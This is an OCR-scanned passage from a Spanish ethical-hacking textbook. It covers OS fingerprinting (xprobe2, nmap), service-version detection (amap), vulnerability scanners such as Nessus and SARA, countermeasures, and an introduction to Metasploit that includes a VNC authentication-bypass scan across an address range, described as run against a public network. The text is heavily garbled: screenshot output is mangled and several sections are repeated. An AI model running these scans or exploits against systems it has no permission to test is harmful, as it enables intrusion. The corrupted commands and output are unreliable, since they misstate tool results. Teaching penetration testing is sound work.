111/tcp open rpcbind (rpebind v2) 2 (rpc #100000)
MAC Address: 00:0C:29:0C:78:EC (Viare)

Device type: general purpose

Running: Li .4.X12.5.X

05 details: Li
Uptime 0.005 d
Service Info:

.4.0 - 2.5.20
(since Wed Mar 12 14:54:43 2008)

Command: [nmap -sS -sR -5V -0 -PI -PT 192.168.112.133

Figura 2.17. Resultado de la ejecucion nmapfe

2.2.2 Identificar el sistema operativo

Para determinar el sistema operativo que tiene instalado un equipo es
necesario utilizar herramientas que permitan el rastreo de pilas.

El rastreo de pilas es una técnica extremadamente potente que permite
averiguar rapidamente, y con gran probabilidad de acierto, cudl es el sistema
operativo instalado en el /ost. En esencia, existen muchos matices que diferencian
el desarrollo de pilas IP de los distintos fabricantes. A la hora de implementar el
protocolo TCP/IP cada fabricante suele interpretar de su manera la normativa RFC
especifica. Por tanto, mediante la deteccion de estas pequefias diferencias puede
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realizar suposiciones razonables de cual es el sistema operativo que se estd
utilizando. Para obtener la méxima fiabilidad, el rastreo de pilas necesitara que al
menos un puerto esté a la escucha.

Existen multiples herramientas disponibles en GN/Linux para determinar el
sistema operativo de un equipo. A continuacion se van a ver las mas utilizadas:
xprobe2 y nmap.

2.2.2.1 XPROBE2

xprobe2 (http.://xprobe.sourceforge.net/) es una herramienta que permite
determinar el sistema operativo de un equipo y al igual que ocurre con nmap si la
distribucion lo permite bastara con instalarlo desde repositorios. A continuacion se
van a ver dos formas diferentes de instalar xprobe2.

e Fedora
1) Descargue el paquete (dependencia) libpcap-0.7.rpm.
2) Instale /ibcap con:
#rpm —-i libcap-0.7.rpm

3) Descargue el fichero xprobe2.tar.gz de http://xprobe.sourceforge.net/
y ejecute lo siguientes comandos:

#tar xvfz xprobe2.tar.gz
#cd xprobe2

#./configure

#make

#make install
Si lo desea también puede instalarlo automaticamente ejecutando:
#yum install xprobe2

e  Ubuntu

1. Para instalarlo automaticamente ejecute el siguiente comando:
#aptitude install xprobe2
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Una vez instalado, ejecute el siguiente comando indicando la IP del equipo

que desea escanear.

$xprobe2 <IP_a analizar>

En la figura 2.18 puede ver un ejemplo del resultado de la ejecucion de
xprobe2 donde se determina que el equipo analizado tiene un sistema operativo

GNU/Linux basado en el kernel 2.4.4.

usuai

Archivo Editar Ver Terminal Solapas Ayuda
Primary guess:

[+1
[+1
[+
[+1
[+
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
+1

Host 192.168.112.

Other guesses:

Host
Host
Host.
Host
Host
Host
Host
Host
Host

192.
192.
192.
192.
192.
192.
192.
192.
192.

Cleaning

Modules deinitialized

168.
168.
168.
168.
168.
168.
168.
168.
168.

112.
112,
112.
12,
112.
112.
112,
112.
112,

up scan

133

133
133
133
133
133
133
133
133
133

Running

Running
Running
Running
Running
Running
Running
Running
Running
Running

engine

Execution completed.
debian:/home/usuario#

0S: "Linux

o

2o

0s: "

0s:

0s:

05: "Linux
05: "Linux
0s: "Linux

Kernel 2.4.4 (I)" (Guess probability: 100%)

Kernel
Kernel
Kernel
Kernel
Kernel
Kernel
Kernel
Kernel
Kernel

NNNNNNN NN

4.
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4.2" (Guess
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4
4
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4
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Figura 2.18. Resultado de la ejecucion de xprobe2

2.2.2.2 NMAP

nmap permite identificar el sistema operativo de un sistema con el
parametro —O. La figura 2.19, es el resultado de ejecutar nmap —O 192.168.0.1

Archivo  Editar Ver Terminal Ayuda

Starting Nmap 5.21 ( http://nm:
Nmap scan report for 192.168.1

Host is up (0.0015s latency).
Not shown: 988 closed ports

PORT

1/tcp

21/tcp
23/tcp
53/tcp
80/tcp
139/tcp
443/tcp
445/tcp
515/tcp

8000/tcp
9100/tcp
50000/tCp ope

SERVICE
filtered tcpmux
open 1y
open telnet
open  domain
open http
open  netbios-ssn
open  https
open  microsoft-ds
open printer
open  http-alt
open  jetdirect

n iinsf

MAC Address: 8C:0C:A3:26:41:87 (Unknown)
Device type: media device|general purpose
Running: Chumby enbedded, Linux 2.6.X

05 details: Chumby Internet radio, Linux 2.6.13 - 2.6.28
Network Distance: 1 hop

ap.org ) at 2014-67-31 02:42 CEST
i1

05 detection performed. Please report any incorrect results at http://nmap.org/su
mit/ .

Nnap done:

[root@localhost ~]# [

1 IP address (1 host up) scanned in 3.18 seconds

Figura 2.19. nmap —O IP
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Una vez instalado, ejecute el siguiente comando indicando la IP del equipo

que desea escanear.

$xprobe2 <IP_a analizar>

En la figura 2.18 puede ver un ejemplo del resultado de la ejecucion de
xprobe2 donde se determina que el equipo analizado tiene un sistema operativo

GNU/Linux basado en el kernel 2.4.4.

usuai

Archivo Editar Ver Terminal Solapas Ayuda
Primary guess:

[+1
[+1
[+
[+1
[+
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
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+1

Host 192.168.112.

Other guesses:

Host
Host
Host.
Host
Host
Host
Host
Host
Host
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192.
192.
192.
192.
192.
192.
192.
192.

Cleaning

Modules deinitialized

168.
168.
168.
168.
168.
168.
168.
168.
168.

112.
112,
112.
12,
112.
112.
112,
112.
112,

up scan

133

133
133
133
133
133
133
133
133
133

Running

Running
Running
Running
Running
Running
Running
Running
Running
Running

engine

Execution completed.
debian:/home/usuario#

0S: "Linux

o

2o

0s: "

0s:

0s:

05: "Linux
05: "Linux
0s: "Linux

Kernel 2.4.4 (I)" (Guess probability: 100%)

Kernel
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Figura 2.18. Resultado de la ejecucion de xprobe2

2.2.2.2 NMAP

nmap permite identificar el sistema operativo de un sistema con el
parametro —O. La figura 2.19, es el resultado de ejecutar nmap —O 192.168.0.1

Archivo  Editar Ver Terminal Ayuda

Starting Nmap 5.21 ( http://nm:
Nmap scan report for 192.168.1

Host is up (0.0015s latency).
Not shown: 988 closed ports

PORT

1/tcp

21/tcp
23/tcp
53/tcp
80/tcp
139/tcp
443/tcp
445/tcp
515/tcp

8000/tcp
9100/tcp
50000/tCp ope

SERVICE
filtered tcpmux
open 1y
open telnet
open  domain
open http
open  netbios-ssn
open  https
open  microsoft-ds
open printer
open  http-alt
open  jetdirect

n iinsf

MAC Address: 8C:0C:A3:26:41:87 (Unknown)
Device type: media device|general purpose
Running: Chumby enbedded, Linux 2.6.X

05 details: Chumby Internet radio, Linux 2.6.13 - 2.6.28
Network Distance: 1 hop

ap.org ) at 2014-67-31 02:42 CEST
i1

05 detection performed. Please report any incorrect results at http://nmap.org/su
mit/ .

Nnap done:

[root@localhost ~]# [

1 IP address (1 host up) scanned in 3.18 seconds

Figura 2.19. nmap —O IP
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2.2.3 Identificar las versiones de los servicios

El escaneado de puertos también se utiliza para algo tan interesante como
es la identificacion de las versiones de los servicios, es decir, no solo puede
detectar que hay un servidor web, sino que puede saber la version exacta (por
ejemplo, Apache 2.4). Esto es algo casi imprescindible para el atacante a la hora de
buscar vulnerabilidades.

Para esta tarea puede utilizar nmap y la herramienta amap, que puede
obtenerla en la direccion http://freeworld.thc.org

Para instalar amap hay que realizar los siguientes pasos:

Descargue el fichero amap-5.0.tar.gz.

Descomprima el fichero ejecutando tar xvfz amap-5.0.tar.gz.
cd amap-5.0.

Ejecute ./configure.

Make.

Make install.

U o

Una vez instalado amap, para utilizarlo utilice la siguiente sintaxis:

amap <IP> <puerto>
donde /P es la direccion IP del equipo y puerto es el puerto que se quiere analizar.
En la figura 2.20 puede ver un ejemplo de la utilizacion de amap en el que
ha determinado correctamente que en la direccion IP 192.168.0.1 se encuentra

activo el servidor IIS 5.0 en el puerto 80.

Ademas, también puede utilizar el comando nmap o su interfaz grafica. A
la hora de ejecutar esta herramienta le afiadiriamos la opcion —sV (figura 2.21).

$nmap -sV <IP_a_ analizar>
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root@bt: ~ - Shell - Konsole
ession Edit View Bookmarks Settings Help

:~# amap -b 192.168.1.34 80
amap v5.2 (www.thc.org/thc-amap) started at 2014-07-31 00:59:20 - MAPPING mode

Protocol on 192.168.1.34:80/tcp matches http - banner: HTTP/1.1 400 Bad Request\
r\nDate Wed, 30 Jul 2014 225938 GMT\r\nServer Apache/2.4.9 (Win32) OpenSSL/1.0.1|
g PHP/5.5.11\r\nContent-Length 325\r\nConnection close\r\nContent-Type text/html

charset=i50-8859-1\r\n\r\n<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML

Protocol on 192.168.1.34:80/tcp matches http-apache-2 - banne HTTP/1.1 400 Bad|
Request\r\nDate Wed, 30 Jul 2014 225938 GMT\r\nServer Apache/2.4.9 (Win32) Open|

SSL/1.0.1g PHP/5.5.11\r\nContent-Length 325\r\nConnéction close\r\nContent-Type
text/html; charset=is0-8859-1\r\n\r\n<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML

Protocol on 192.168.1.34:80/tcp matches webmin - banner: HTTP/1.1 200 OK\r\nDate|
Wed, 30 Jul 2014 225938 GMT\r\nServer Apache/2.4.9 (Win32) OpenSSL/1.0.1g PHP/S|
.5.11\r\nX-Powered-By PHP/5.5.11\r\nSet-Cookie PHPSESSID=t2t0096f7p4kj227cOqmp8l

a75; path=/\r\nExpires Thu, 19 Nov 1981 085200 GMT\r\nCache-Control no-
Unidentified ports: none.

amap v5.2 finished at 2014-07-31 00:59:26

& Shell

Figura 2.20. amap

agus@debia

Archivo Editar Ver Terminal Solapas Ayuda
agus@debian:~$ nmap -sV 192.168.136.130 4
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-03-19 10:58 CET

Interesting ports on 192.168.136.130:
Not shown: 1674 closed ports

PORT STATE SERVICE VERSION

21/tcp  open ftp WU-FTPD wu-2.6.1-16

22/tcp  open ssh OpensSH 2.5.2p2 (protocol 1.99)

80/tcp open http Apache httpd 2.0.47 ((Unix) mod_perl/1.99 08 Perl/v5.8.0!

mod_ss1/2.6.47 OpenSSL/0.9.7 PHP/4.3.3 DAV/2)

111/tcp open rpcbind 2 (rpc #100000)

443/tcp open ssl/http Apache httpd 2.0.47 ((Unix) mod_perl/1.99 08 Perl/v5.8.0
mod_ss1/2.0.47 OpenSSL/6.9.7 PHP/4.3.3 DAV/2)

3306/tcp open mysql  MySQL (unauthorized)

Service Info: 0S: Unix

Nmap finished: 1 IP address (1 host up) scanned in 12.611 seconds
agus@debian:~$

Figura 2.21. Deteccion de las versiones de los servicios



Capitulo 3

HACKING DE SISTEMAS

El hacking de sistemas, consiste en analizar el sistema operativo y los
servicios en busca de alguna vulnerabilidad que le permita a un atacante entrar en
el sistema. Para analizar el sistema puede hacerlo “manualmente” como se ha visto
en el capitulo anterior o utilizando herramientas de escaneo de vulnerabilidades.
Una vez determinadas las vulnerabilidades del sistema el siguiente paso es
aprovecharlas utilizando exploits.

3.1 ESCANEO DE VULNERABILIDADES

Una vez que un atacante ha detectado los equipos que hay activos en una
red, el sistema operativo de cada equipo y hasta el tipo de servidor que tiene
instalado, lo tinico que queda es detectar las vulnerabilidades del sistema.

Existen dos formas de buscar las vulnerabilidades del sistema: consultar
paginas web o listas de distribucion de seguridad; o a través de herramientas que
automatizan la busqueda de vulnerabilidades.

Para buscar vulnerabilidades en un sistema puede utilizar las aplicaciones:
MBSA, GFILanGuard y Nessus. Mientras que las dos primeras herramientas estan
orientadas a sistemas Windows, Nessus permite analizar sistemas Windows y
Linux.

Una vez detectadas las vulnerabilidades del sistema, para aprovecharlas un
atacante puede buscar informacion sobre exploits o de alguna vulnerabilidad a
través de la pagina  www.packetstormsecurity.org  (figura 3.1) o
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http://www.exploit-db.com/ (figura 3.2), utilizar la herramienta metasploit
www.metasploit.com (véase la figura 3.3) que, a través de una interfaz web,
permite aprovechar las vulnerabilidades del sistema.

o Gt ol

] s e ne|=

& iz §
©

Google To Face wssanzer a
Data Vatehdogs
in Europe

Wrta Exiots? Gt P

Mozila Fixes
Criical Securtty | Recent News
Hoies in

Firetox, Urges
Upgrade

The Secret Government Handbook For
Labeling You A Terrorist

Recent Files

7 MQAC.sys Arbitrary Write Privilege Escalation

EXPLOIT.
DATABASE

The Exploit Database

Figura 3.2. http://www.exploit-db.com/
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Get free Nexpose Vulnerability Scanner

Metasplot integrates with Nexpose to verty winerabiltes

v

Metasploit Newbies Framework Users Exploit Developers

Figura 3.3. www.metasploit.com

A continuacién vamos a ver cada una de las herramientas que permiten
detectar vulnerabilidades del sistema:

3.1.1 Microsoft Baseline Security Analizer (MBSA)

Microsoft Baseline Security Analizer (MBSA) permite comprobar las
actualizaciones y vulnerabilidades del sistema en equipos basados en Windows. En
la figura 3.4 puede ver un ejemplo de utilizacién de MBSA.

Microsoft Baseline Security View security report

Sot Dider. [Score fwort st =

o s [Computer name: GRUPO_TRABAID\SERVIDOR 2
2 PRk oo P address: 122168020
o Pk an (GRUPD_TRABAID - SERVIDOR (13082005 1220)
] Pick o secury eportfo view can dte: /02005 1220
Scanned with MESA version: 1240130
View  securty repart
= e 57120
(Office updote database version: 11007507

See Also

I Mictosalt Baselne Secerly
[

Andyer fsecurity Update Scan Results

ks Score feswe  Result

ol Socury Wb ske Windon !
1 ot ety Web i L e e
Ories o kg e et

What was scamned  Resul detals How o conectthic

1 products are using a sevie pack ot at the latet version o have
cther wairings.

004 Shavlik Technologies, LLC. All ights reserved:

Figura 3.4. MBSA (Microsoft Baseline Security Analyzer)
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3.1.2 GFI Languard

Si el equipo a analizar tiene habilitado “Compartir archivos e impresoras
de Microsoft” utilice la herramienta GFI LANguard (véase la figura 3.5). GFI
LANguard es una herramienta que proporciona todo tipo de informacion del
sistema: actualizaciones instaladas, usuarios, grupos de usuarios, etc.

[ GF1 LANguard N.5.5. 6.0 1) =l8(x
File Tools Configure Help
£ NewScan... | il o aw 2 F Using: Currently Logged-On User = Lises Bianie: | ] Bassword: [ =

UANguard .

Sean Taiget: [1521680.45

] Puie: [Defaut

=]

| ‘

Securiy Scanner (Default)
Scan Fikers
Result comparison

& Tooks

3 Configuration

& Ucensing

@ Howto purchase

@ Support Center

@ Knowledge Base

& GFILANguxd NS5,
B GFILANguard SELM
8 GFI Network Server My

Scanned Computers
192168045 [SEAVIDC 4.

2\ Potential Vuinerabiles

= L Windows 2000 Advanced Server Service Pack 2
€ Latest SP available: Service Pack 4

Scanner Activiy Window

Gy scanning Profiles el
p WY Network devices (6] 5] Latest SP release date: 2003/06/26
& Scheduled scans & USE devices (3] 2 Intemet Explorer 5.01 Service Pack 2
& Alerting Options (28 Password poicy € Latest SP avaiable: Service Pack 4
G Parameter Fies (2@ Secuity audt policy (O £ (2 Oullook Express 5.5 Gold
| Database Mantenance 3] Registy € Latest 5P available: Service Pack 2
S Gererel d Open TCP Ports (12) 5] Latest 5P release date: 2001/08/03
£3 Program Updates [V System patching status | |21 € Missing Patches (32) hi
{3 Version Information » ‘ >

Resolving hosts.
Determining computers that are ive.
Netbios reply from 192168 0,45 (SERVIDOR)
Pong from 182.168.0.45

1 Computer(s) found.

1

ICOMPLETED SECURITY SCAN FOR MACHINERANGE: 192.168.0.45
Iscan Start Time: 0:35:45
[Scan Duration: 1 minutes, 34 seconds

4 | 3] MNework discover) [Scanead 1 () Scanthied 2 (de) Scan tiead 3 ()

Figura 3.5. GFI LANguard

3.1.3 Retina Network Security Scanner

Retina es uno de los mejores escaneadores de vulnerabilidades que existe
en el mercado para usar en sistemas Windows. El equipo que ha desarrollado el
proyecto Eye Digital Security se caracteriza por un gran trabajo en el conocimiento
de problemas de seguridad y la actualizacién en la base de datos retina es casi
continua.

Retina es un software comercial de ambito profesional que permite tanto a
administradores como hackers obtener informacion muy detallada sobre las
vulnerabilidades de un equipo. La aplicacion estd disefiada para que el usuario no
tenga problemas en su uso. Ademds, incorpora un sistema de generacion de
formularios que permite realizar informes de seguridad con un alto nivel de detalle.
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& Retina Network Security Scanner - 156 Days Remaining EE®R)
i He Edt View Took Help
: pddress: 192.168.0.14 Scan Template: Complete Scan - @ Start
P
Discovery Tasks 2 C ] Audit Remediate Report
& Start Discovery Sean &) Actions
Targets Select Targets.
Options Target Type:
IP Range v
3o From
Clear Discovered tems -
s e 92 168 0 1
[piscover | g
Other Places 2 Bolicdule 192.168. 0 . 254
W
= fok Sl Results
A7 Remediate
G Reports
€3 Options [PAddess |Machine Name |DNSName |05 MAC Addiess | Date Discovered
152.166.000.001 unknown 14/10/2007 20
~ 192168000012 GIGA 14/10/2007 20
Help,and Soeeusk = 192163000014 PRUEBA-3341... prueba33al7d5a 00:0C:23BB:B6... 14/10/2007 20:

Help Topics
@ cEye Websie
@ Techrical Support

7 About Retina

DISCOVERY: Scanis completed

Figura 3.6. Retina

3.1.4 Shadow Security Scanner

Esta famosa herramienta comenz6 en sus inicios como una utilidad hacker
y debido a la creciente necesidad informatica de tener implementaciones seguras en
las empresas, se fue desarrollando un sistema grafico muy amigable que alberga
diversas opciones de configuracion que hacen de esta utilidad una opcion muy
aceptable. La empresa creadora del proyecto Safety-Lab (www.safety-lab.com)
actualiza frecuentemente la base de datos de vulnerabilidades del programa.

Existen varios tipos de escaneos de vulnerabilidades que se pueden
personalizar mediante reglas ya establecidas o creadas por el usuario. Estas reglas
estan formadas por médulos que clasifican un conjunto de bugs que afectan a un
software o servicio especifico. Antes de analizar la seguridad de un equipo, hay
que configurar una regla con los moédulos que mas se acerquen al perfil de la
victima; esto es crucial, ya que hacer escaneos a modo completo suele ser
contraproducente en términos de pérdida de tiempo y problemas con cortafuegos.
Un ejemplo muy sencillo es que si tiene un sistema web con IIS entonces es inutil
probar los fallos de seguridad propios del servidor Apache en GNU/Linux.
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hadow Security Scanner - [Security Scanner (Complete Scan)] [BELS]
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Figura 3.7. Shadow Security Scanner

3.1.5 Nessus/OpenVAS

Nessus  Security  Scanner  (http://www.nessus.org/nessus/) €s una
herramienta licenciada bajo GPL que permite detectar las vulnerabilidades de un
sistema. La principal caracteristica de esta herramienta es que se basa en un modelo
cliente/servidor, lo que permite tener el servidor desde el que se realiza el escaneo
y desde los clientes conectase al servidor para iniciar un escaneo, ver informes, etc.

La consecuencia directa de que esta herramienta haya dejado de ser
software libre es la aparicion de otras herramientas como OpenVAS
(http://www.openvas.org/), que es una herramienta que parte de la ultima version
libre de Nessus y que, por tanto, muy similar a esta.

3.1.5.1 INSTALACION

El proceso de instalacion de Nessus se puede realizar de tres formas
diferentes: mediante el codigo fuente, mediante los paquetes precompilados o
utilizando los repositorios.

Para realizar la instalacion de las dos primeras formas simplemente hay
que acceder a la seccion de descargas de la pagina de Nessus y tras descargar los
archivos lanzaremos el instalador como root y realizaremos el proceso de
configuracion, compilacion e instalacion a partir de los archivos fuente.



© RA-MA CAPITULO 3. HACKING DE SISTEMAS 47

& tensbie.com eratn ®8

@ phsenselocaldomain - . || EasylDS
 Acunetx Web Sconner| b StrtScan+ B et S

tenable

network securtly

Download Nessus
Please Select Your Operating System

What's New in Nessus

ecksums & GPG Keys

E=E
Figura 3.8. Pagina web oficial de OpenVAS

Para instalar Nessus a partir de los repositorios hay que ejecutar el
siguiente comando:

e Debian
#aptitude install nessus nessusd

e Fedora

#yum install nessus-server nessus-client nessus-gui

3.1.5.2 CONFIGURACION

Una vez instalado Nessus hay que proceder a su configuracion realizando
los siguientes pasos:

1. Creaciéon de un certificado: para la creacion de un certificado ejecute el
comando:

#nessus-mkcert

posteriormente, introduzca los datos (localidad, pais, etc.) que el sistema
solicita en pantalla.
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2 usuario@debian: ~ -/ax

Archivo Editar Ver Terminal Solapas Ayuda

Congratulations. Your server certificate was properly created.
/etc/nessus/nessusd.conf updated
The following files were created :
. Certification authority :
Certificate = /var/lib/nessus/CA/cacert.pem
Private key = /var/lib/nessus/private/CA/cakey.pem
. Nessus Server :
Certificate = /var/lib/nessus/CA/servercert.pem

Private key = /var/lib/nessus/private/CA/serverkey.pem

Press [ENTER] to exit

(L

Figura 3.9. Creacion de un certificado

2. Creacion de un usuario: para la creacion de un usuario ejecute el
comando:

#nessus-adduser

posteriormente, indique el nombre de usuario, contrasefia y tipo de
autenticacion (pass/cert). El usuario creado permite conectarse al servidor.

Una vez finalizada la configuracion hay que iniciar el servicio ejecutando:

#nessusd

Ademas, es posible realizar todas estas acciones accediendo al puerto Attps
de nuestra maquina en localhost (http://localhost:8834), donde podremos
configurar las opciones anteriores.

3.1.5.3 UTILIZACION

Anteriormente para analizar un equipo debia conectarse al servidor con un
cliente pero actualmente el proceso es algo diferente, Nesuss posee una interfaz
web que se ejecuta por defecto en el puerto 8834. A través de esta interfaz web es
posible desde crear usuarios hasta lanzar los analisis de vulnerabilidades.
Convirtiendose de esta manera en una herramienta multipltaforma y pudiendo
lanzar ataques hasta desde un dispositivo movil.
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Una vez arrancado el servidor, y tal como muestra la figura 3.10,
accedemos a través de la interfaz web.

Figura 3.10. Creacién de un usuario en Nessus

Automéaticamente después de iniciar sesion, seleccione la pestaia Plugins,
y habilite todos los plugins pulsando el boton Enable all. Finalmente, en la pestafia
Target, indique el host que desea escanear e inicie el escaneo pulsando el boton
Start the scan.

Una vez finalizado el escaneo, se genera un informe similar al que se
muestra en la figura 3.11, en el que se puede observar las distintas vulnerabilidades
que se han detectado y si selecciona una vulnerabilidad se muestra una breve
descripcion de la vulnerabilidad y su posible solucion.

Figura 3.11. Informe resultado del escaneo con Nessus
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3.1.6 SARA

SARA (Security Auditor’s Research Assistant) es una herramienta
desarrollada por Advanced Research Corporation para al analisis de la seguridad de
un sistema. Esta herramienta deriva de SATAN (Security Administrator Tool for
Analizing Networks) y se caracteriza fundamentalmente por utilizar una interfaz
web.

Para realizar el proceso de instalacion debe descargar el fichero
sara-7.5.2.tgz de la pagina oficial: http://www-arc.com/sara/ y ejecutar los
siguientes comandos:

$tar xvfz sara-7.5.2.tgz
$cd sara-7.5.2
$./configure

$make

#make install

Una vez realizados los pasos anteriores para iniciar SARA ejecute:
$./sara

...y se inicia automaticamente el servidor web. A continuacion inicie un
navegador web y escriba la siguiente direccion http.//localhost:27210 (véase la
figura 3.12).

& 3 i httpyidebian:27210/ < b G-

@ Getting Stated £ Latest Headlines

Security Auditor's Research Assistant (SARA)

The Security Auditor's Research Assistant (SARA) is a third generation network
oriented security analysis and reporting tool developed by the Advanced
Research Corporation. SARA is widely used in ti Government and
commercial communities. As such, it has been in-the-field validated on the
current security exploits of Unix (Sun, SGI, AIX. Linux) and Microsoft Windows
XX. Historically, we have been updating SARA once a month with emergency
updates as required.

® Hundreds of UNIX and Windows vulnerability probes (indexed by CVE)
® Integrated with the National Vulnerability Database

® Server mode for controlled enterprise access

® SARA ReportWriter (tm)

® SARA Report Corrections and Drops

© SARA Plugins

® Briefing Overview of SARA
® Additional Information on SARA

SARA has supported the SANS Top 10/20 list since 2000. However Version 6 of
the Top 20 is limited in its list of network testable vulnerabilities. We will
continue to strive to support those Top 20 items that are truly
remote platform. However, SARA has dropped its support as SAN:

SARA is controlled by the SATAN license which provides public use of the
nrodiet Alsa SARA aaressivalv nirsias axtarnal Onan Sourea intarfaces fo -

Figura 3.12. Interfaz de la herramienta SARA
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Para analizar un equipo debe pulsar en Target Selection e introduzca la
direccion IP del equipo a escanear.

El siguiente paso es especificar el nivel de escaneo que quiere utilizar. Los
niveles de escaneo que permite SARA son:

e Light. Comprueba simplemente que el sistema se encuentra encendido.

e Normal. Analiza los servicios DNS, FTP, HTTP, SMTP, Telnet, NNTP,
XDMCP y UUCP.

e Heavy. Analiza cada puerto UDP y TCP disponible.
e Extreme. Es practicamente igual que el nivel Heavy.
e Custom. Permite personalizar los servicios a analizar.

Una vez que ha seleccionado el nivel de escaneo, pulse el boton Comenzar
el escaneo y tras un breve periodo de tiempo, se mostrara un informe organizado
en distintas categorias.

3.1.7 Contramedidas

Para impedir que un atacante obtenga informacién de un equipo debe
desactivar el escaneado de puertos, barridos de pings o incluso es posible cambiar
las pancartas del sistema.

Otro aspecto muy importante que hay que tener en cuenta es limitar los
puertos abiertos el sistema. Para ello debe tener en cuenta las siguientes
consideraciones:

e Abrir solamente los puertos necesarios. Hay que abrir estrictamente
solo los puertos necesarios para que funcionen los servicios que quiere
ofrecer. Para ello debe parar los servicios o utilizar un cortafuegos para
cerrar los puertos.

e Proteger el acceso a los servicios que deban ser restringidos. Si desea
ofrecer un determinado servicio que no sea publico hay que utilizar
sistemas de autenticacion o limitar el servicio a una determinada red.
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e Cifrar las conexiones. Utilizar en la medida de lo posible conexiones
cifradas para impedir que un atacante monitorice la actividad del
sistema.

e Ocultar informacién sensible. Hay que desactivar los banners de
cualquier servicio, ocultar las versiones... Incluso se puede, mediante
iptables, falsificar la huella de la pila TCP/IP para engafiar al atacante.

e Actualizar el software. Es muy importante actualizar el software para
impedir que un atacante utilice un determinado exploit contra el sistema.

e Utilizar sistemas de deteccion de intrusos. Los sistemas de deteccion
de intrusos permiten detectar escaneos de puertos, ataques e incluso
puede actuar de una forma activa contra los ataques bloqueandolos.

3.2 EXPLOTAR LAS VULNERNABILIDADES DEL
SISTEMA (METASPLOIT)

Metasploit Framework es una herramienta diseflada por la comunidad
underground para testeo y penetracion de maquinas remotas o locales a través de
uso de exploits. Esta utilidad permite realizar pruebas de seguridad en equipos con
software que estd sujeto a una posible vulnerabilidad, con lo que un administrador
puede comprobar el nivel de confianza que ofrece su sistema frente a un ataque
externo.

En las versiones anteriores a la 3.0 de Metasploit Framework, el codigo
fuente de los exploits y el desarrollo del programa se habia escrito en su mayoria
con el lenguaje de programacion per/. Y a partir de la version 3.0 el programa y los
exploits se han escrito utilizando el lenguaje de programacion Ruby.

Los exploits que se manejan en esta herramienta se clasifican siguiendo
una jerarquia de modulos y se diferencian segin el error que se ha vulnerado, el
sistema operativo y el tipo de programa al que pertenece el software vulnerable.
Cada exploit se genera de forma distinta seglin los parametros que se necesiten. La
base de datos de exploits puede actualizarse desde Internet o a través de la pagina
web principal del programa www.metasploit.com.
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Figura 3.13. Metasploit

Aparte de una gran coleccion de exploits, Metasploit almacena un conjunto
de payloads ordenados segun el sistema operativo al que esté¢ destinado. Cada
shellcode tiene una serie de opciones que se deben configurar antes de generar el
codigo, el cual se codifica siguiendo un sistema de codificacion caracteristico que
se elige junto con las demdas opciones, y que permite crear payloads
personalizados.

Metasploit se comunica con el usuario a través de dos interfaces distintas
que permiten una mejor configuracion del exploit. En las versiones anteriores a la
3.0, la consola de comandos del propio programa era el medio mas comun por el
cual se elegia, personalizaba y ejecutaba un exploit de los posibles modulos que
existen en la base de datos. Con esta consola se tiene acceso a todos los exploits,
payloads y modulos auxiliares, ademas de poder realizar todas las operaciones que
Metasploit permite.

En las versiones mads recientes, se ha incorporado una interfaz web mas
amigable y facil de usar. El servidor web se inicia de forma local en el puerto
55555. Por lo tanto para abrir la pagina principal debe conectarse a:
http://localhost:55555. Las configuraciones que se realizan con esta interfaz se
realizan a través de formularios, que hacen referencia a los parametros requeridos
del exploit, segun cada caso.

Todos los modulos que se exploten contra una maquina utilizando la
interfaz web se ejecutan a través de la consola del programa. Por esta razon, se
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explicara primero el funcionamiento y los comandos de la consola, y después el
uso de la pagina web.

3.2.1 INSTALACION

Lo primero que debe hacer es descargar de la pagina web
http://'www.metasploit.com la ultima version disponible de Metasploit Framework.
Una vez descargado, para utilizarlo simplemente hay que descomprimirlo
ejecutando:

$ tar xvfz framework-3.l.tar.gz

$ cd framework-3.1

Antes de ejecutar Metasploit hay que tener en cuenta, que esta herramienta
presenta una serie de dependencias, que variaran segun el tipo de interfaz que
quiera utilizar.

Para ejecutarlo por interfaz web o por consola hay que instalar las
dependencias ruby y libopenssi-ruby.

e Fedora
#yum install ruby libopenssl-ruby
e Debian
#aptitude install ruby libopenssl-ruby

Para ejecutarlo mediante interfaz grdfica, hay que instalar ademas las
dependencias libgtk2-ruby y libglade2-ruby.

e Fedora
#yum install ruby libgtk2-ruby libglade2-ruby
e Debian

#aptitude install libgtk2-ruby libglade2-ruby

3.2.2 Buscar sistemas vulnerables

Metasploit incorpora herramientas que permiten buscar equipos
vulnerables a un determinado fallo de seguridad. Para buscar un servidor
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vulnerable debe entrar en la carpeta /pentest/scanners y seleccionar el scanner que
desea utilizar dependiendo de tipo de fallo que desee buscar.

A continuacién, como ejemplo, se van a localizar los servidores
vulnerables VNC. Como nota aclaratoria, recuerde que un servidor VNC permite
administrar un equipo de forma remota.

Los pasos para buscar los equipos vulnerables al ataque VNC de la red
192.168.0/24 son los siguientes:

cd /pentest/scanners

cd vnc

VNC_bypauth -p 5900 -i 192.168.0.0-192.168.0.255 -vnc -
vV

En la figura 3.14 puede ver el resultado del escanear una red publica donde
aparecen sistemas vulnerables.

Una vez localizado un sistema vulnerable el siguiente paso es utilizar el
exploit mediante consola o mediante interfaz web.

Shell - Konsole

RealVN
aulti-th

atched
ULNERABLE
patched

vncd : patched
vncd : VULNERABLE

Figura 3.14. Buscar sistemas vulnerables
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3.2.3 Utilizacion mediante consola

Lo primero de todo es ejecutar la consola de Metasploit desde el enlace
Console, que se inicia a través del acceso directo del programa. Tras esto,
aparecerd el terminal que se muestra en la figura 3.15 con la expresion msf>.

Shell - Konsole

./msfconsole

-~ --=[ msfconsole v2.7 [158 exploits - 76 payloads]

Figura 3.15. Consola de Metasploit

Si en la consola se usa la sentencia help aparecera una lista de los posibles
comandos del programa seguidos de una breve descripcion (véase la tabla 3.1). El
primer comando que se necesita es show [options, exploits, payloads,...], el cual
permite listar el conjunto de datos que forma el argumento especificado. Por
ejemplo, si quiere listar todos los exploits del sistema debe ejecutar show exploits
(véase la figura 3.16).

Tabla 3.1. Comandos de Metasploit

Comando Descripcién
Help Muestra una lista de los comandos disponibles
Show/[options, exploits, Muestra una lista del argumento seleccionado,
payloads...] p. €. los exploits disponibles con show exploits
use <exploit> Seleccionamos un exploit
Show options Muestra los argumentos del exploit

seleccionado

set <pardametro> <exploit> Configura los parametros del exploit

exploit Lanza el exploit ya configurado
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Una vez que ha seleccionado el exploit que desea utilizar debe ejecutar el
comando use <exploit>. Por ejemplo, si quiere utilizar el exploit
realvnc 411 bypass debe ejecutar el comando use realvnc 411 bypass.

